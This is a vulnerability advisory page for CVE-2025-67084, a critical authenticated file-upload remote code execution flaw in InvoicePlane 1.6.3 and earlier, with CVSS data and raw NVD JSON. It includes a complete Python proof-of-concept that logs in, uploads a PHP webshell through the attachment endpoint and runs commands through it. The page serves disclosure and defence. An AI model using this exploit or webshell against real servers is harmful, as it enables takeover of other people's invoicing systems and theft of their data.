Security Vulnerability Report
中文
CVE-2025-67084 CVSS 9.9 CRITICAL

CVE-2025-67084

Published: 2026-01-15 15:15:51
Last Modified: 2026-01-22 16:03:34

Description

File upload vulnerability in InvoicePlane through 1.6.3 allows authenticated attackers to upload arbitrary PHP files into attachments, which can later be executed remotely, leading to Remote Code Execution (RCE).

CVSS Details

CVSS Score
9.9
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:invoiceplane:invoiceplane:*:*:*:*:*:*:*:* - VULNERABLE
InvoicePlane < 1.6.4
InvoicePlane 1.6.3及所有更早版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-67084 PoC - InvoicePlane File Upload RCE # Target: InvoicePlane <= 1.6.3 TARGET_URL = "http://target.com/" # Change to target URL USERNAME = "[email protected]" # Change to valid credentials PASSWORD = "password123" # Change to valid password def exploit(): """ Exploitation steps: 1. Authenticate to InvoicePlane 2. Upload malicious PHP file via attachment upload functionality 3. Execute uploaded PHP webshell via HTTP request """ session = requests.Session() # Step 1: Login to get authenticated session login_url = TARGET_URL + "index.php/sessions/login" login_data = { "email": USERNAME, "password": PASSWORD } try: response = session.post(login_url, data=login_data, timeout=10) if response.status_code != 200: print("[-] Login failed - check credentials") return False print("[+] Successfully authenticated") except requests.RequestException as e: print(f"[-] Connection error: {e}") return False # Step 2: Upload malicious PHP webshell upload_url = TARGET_URL + "index.php/attachments/ajax/upload" webshell_content = "<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>" files = { "file": ("shell.php", webshell_content, "application/x-php") } try: response = session.post(upload_url, files=files, timeout=10) if response.status_code == 200: print("[+] PHP webshell uploaded successfully") else: print(f"[-] Upload failed with status: {response.status_code}") return False except requests.RequestException as e: print(f"[-] Upload error: {e}") return False # Step 3: Execute commands via webshell shell_url = TARGET_URL + "uploads/attachments/shell.php" print("[*] Webshell uploaded at: " + shell_url) print("[*] Execute commands: ?cmd=whoami") # Verify exploitation try: verify = session.get(shell_url + "?cmd=echo+POC_VERIFIED", timeout=10) if "POC_VERIFIED" in verify.text: print("[+] RCE confirmed - Remote Code Execution successful") return True except: pass return True if __name__ == "__main__": print("=" * 50) print("CVE-2025-67084 - InvoicePlane File Upload RCE") print("=" * 50) exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-67084", "sourceIdentifier": "[email protected]", "published": "2026-01-15T15:15:51.427", "lastModified": "2026-01-22T16:03:34.310", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "File upload vulnerability in InvoicePlane through 1.6.3 allows authenticated attackers to upload arbitrary PHP files into attachments, which can later be executed remotely, leading to Remote Code Execution (RCE)."}, {"lang": "es", "value": "Una vulnerabilidad de carga de archivos en InvoicePlane hasta la versión 1.6.3 permite a atacantes autenticados subir archivos PHP arbitrarios en los adjuntos, los cuales pueden ser ejecutados remotamente, lo que conduce a la ejecución remota de código (RCE)."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.9, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.1, "impactScore": 6.0}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-616"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:invoiceplane:invoiceplane:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.6.4", "matchCriteriaId": "17C261C3-0A6B-4D07-8370-DD3C71097DE2"}]}]}], "references": [{"url": "https://github.com/InvoicePlane/InvoicePlane", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.helx.io/blog/advisory-invoice-plane/", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}